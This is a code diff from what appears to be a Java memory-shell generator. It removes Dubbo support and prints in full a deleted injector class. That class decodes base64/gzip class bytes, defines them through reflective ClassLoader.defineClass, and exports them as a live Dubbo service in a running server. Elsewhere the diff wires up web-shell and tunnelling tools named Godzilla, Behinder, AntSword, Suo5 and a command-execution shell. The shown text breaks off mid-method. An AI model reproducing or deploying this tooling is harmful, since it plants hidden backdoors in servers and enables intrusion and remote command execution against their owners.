@@ -37,10 +37,7 @@ dependencies {
implementation(libs.jakarta.servlet.api) implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations) implementation(libs.jackson.annotations)
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
@@ -21,5 +21,4 @@ public class Server {
public static final String SpringWebFlux = "SpringWebFlux"; public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB"; public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2"; public static final String Struct2 = "Struct2";
public static final String Dubbo = "Dubbo";
} }
@@ -1,11 +1,9 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator; import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -17,7 +15,6 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map; import java.util.Map;
@@ -63,36 +60,20 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes); injectorConfig.setShellClassBytes(shellBytes);
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
}
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder() ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper") .shellClassName(injectorConfig.getInjectorClassName() + "1")
.probeMethod(ProbeMethod.ResponseBody) .probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode) .probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion()) .targetJreVersion(shellConfig.getTargetJreVersion())
@@ -47,7 +47,6 @@ public class ServerFactory {
register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new); register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new); register(Server.Struct2, Struct2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
@@ -163,8 +162,6 @@ public class ServerFactory {
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class) .addShellClass(ACTION, CommandStruct2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -23,7 +23,7 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class); register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class); register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class); register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class); register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
@@ -50,8 +50,4 @@ public class ShellType {
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET; public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action"; public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
} }
@@ -91,15 +91,12 @@ public class CommandConfig extends ShellToolConfig {
} }
public enum Encryptor { public enum Encryptor {
RAW, BASE64, DOUBLE_BASE64; RAW, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) { public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64; return DOUBLE_BASE64;
} }
if (encryptor != null && encryptor.equals("BASE64")) {
return BASE64;
}
return RAW; return RAW;
} }
} }
@@ -27,12 +27,6 @@ public class InjectorConfig {
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@@ -23,10 +23,6 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder(); protected abstract DynamicType.Builder<?> getBuilder();
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
@@ -46,8 +42,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
byte[] bytes = postProcessBytes(unloaded.getBytes()); return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
} }
} }
} }
@@ -1,19 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList( private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(), new ListenerBuilderModifier(),
new ValveBuilderModifier(), new ValveBuilderModifier(),
new JakartaBuilderModifier(),
new DebugOffBuilderModifier() new DebugOffBuilderModifier()
); );
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList( private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new JakartaPostProcessor(),
new JettyHandlerPostProcessor(), new JettyHandlerPostProcessor(),
new ShrinkPostProcessor() new ShrinkPostProcessor()
); );
@@ -1,46 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
super(shellConfig, suo5Config);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
.redefine(Suo5v2.class)
.name(CommonUtil.generateClassName())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.make()) {
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
}
}
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve; import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
@@ -18,7 +19,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2026/1/13 * @since 2026/1/13
*/ */
public class WebSocketByPassHelperGenerator { public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig); Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) { if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool()); throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -30,7 +31,7 @@ public class WebSocketByPassHelperGenerator {
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey()) .field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue()) .field(named("headerValue")).value(headerPair.getValue())
.name(helperClassName); .name(CommonUtil.generateClassName());
if (shellConfig.isJakarta()) { if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
} }
@@ -1,16 +0,0 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class Base64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(param);
}
}
@@ -42,17 +42,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.withCustomMapping() builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
return builder;
}
}
@@ -1,16 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
public class JakartaPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
return ClassRenameUtils.relocateJakarta(input);
}
return input;
}
}
@@ -17,7 +17,6 @@ import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.StubMethod;
import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -47,9 +46,12 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
TypeDescription typeDefinition, String newClassName) { TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods(); MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) { if (methods.filter(ElementMatchers.named("getResponseFromRequest")
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," + .and(ElementMatchers.takesArguments(Object.class))
" the method body will be auto adapted for multi server"); .and(ElementMatchers.returns(Object.class)))
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
} else { } else {
builder = builder builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance( .visit(MethodCallReplaceVisitorWrapper.newInstance(
@@ -57,11 +59,13 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
} }
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) { if (methods.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty()) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class) .withParameters(Object.class, String.class)
.throwing(Exception.class) .throwing(Exception.class)
.intercept(StubMethod.INSTANCE) .intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue"))); .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
} }
return builder; return builder;
@@ -1,451 +0,0 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import com.alibaba.dubbo.common.URL;
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
import com.alibaba.dubbo.common.utils.ClassHelper;
import com.alibaba.dubbo.config.*;
import com.alibaba.dubbo.config.model.ApplicationModel;
import com.alibaba.dubbo.config.model.ProviderModel;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.GZIPInputStream;
public class AlibabaDubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public AlibabaDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + stackTrace(e);
}
ok = true;
System.out.println(msg);
}
public String registerService() throws Exception {
String servicePath = normalizePath(getUrlPattern());
if (servicePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
return resolveServiceAddresses(servicePath);
}
Class<?> serviceInterface = loadClass(getHelperBase64String());
Class<?> serviceImpl = loadClass(getBase64String());
validateServiceTypes(serviceInterface, serviceImpl);
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
return resolveServiceAddresses(servicePath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(servicePath);
} catch (RuntimeException e) {
dynamicServices.remove(servicePath, serviceConfig);
throw e;
}
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, classBytes);
return loadedClass;
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
// Defining the package is a convenience for older class loaders. The class can still load without it.
}
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
classPool.makeClass(new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
}
}
private static byte[] decodeBase64(String value) throws Exception {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
}
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
GZIPInputStream inputStream = null;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, read);
}
return outputStream.toByteArray();
} finally {
if (inputStream != null) {
inputStream.close();
}
outputStream.close();
}
}
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
if (!serviceInterface.isInterface()) {
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
}
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
}
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
}
}
private Object instantiate(Class<?> serviceImpl) {
try {
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
serviceConfig.setInterface(serviceInterface);
serviceConfig.setRef(serviceImpl);
serviceConfig.setPath(servicePath);
ProviderConfig providerConfig = findProviderConfig();
if (providerConfig != null) {
serviceConfig.setProvider(providerConfig);
if (notEmpty(providerConfig.getVersion())) {
serviceConfig.setVersion(providerConfig.getVersion());
}
}
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
if (!protocolConfigs.isEmpty()) {
serviceConfig.setProtocols(protocolConfigs);
}
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
if (!registryConfigs.isEmpty()) {
serviceConfig.setRegistries(registryConfigs);
}
return serviceConfig;
}
private ServiceConfig<?> findRegisteredService(String servicePath) {
String normalizedPath = normalizePath(servicePath);
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
return serviceConfig;
}
}
return null;
}
private ProviderConfig findProviderConfig() {
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && serviceConfig.getProvider() != null) {
return serviceConfig.getProvider();
}
}
return null;
}
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
if (providerConfig != null && providerConfig.getApplication() != null) {
return providerConfig.getApplication();
}
for (ProviderModel providerModel : providerModels()) {
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
if (serviceConfig.getApplication() != null) {
return serviceConfig.getApplication();
}
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
return serviceConfig.getProvider().getApplication();
}
}
return null;
}
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
addProtocols(protocols, serviceConfig.getProtocols());
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
}
return uniqueProtocols(protocols);
}
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
registries = registries(serviceConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ProviderConfig serviceProvider = serviceConfig.getProvider();
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ApplicationConfig serviceApplication = serviceConfig.getApplication();
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
}
return new ArrayList<RegistryConfig>();
}
private String resolveServiceAddresses(String servicePath) {
String normalizedPath = normalizePath(servicePath);
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
if (serviceConfig == null) {
serviceConfig = findRegisteredService(normalizedPath);
}
if (serviceConfig == null) {
return normalizedPath;
}
List<URL> exportedUrls = serviceConfig.getExportedUrls();
if (exportedUrls != null && !exportedUrls.isEmpty()) {
return formatUrls(exportedUrls);
}
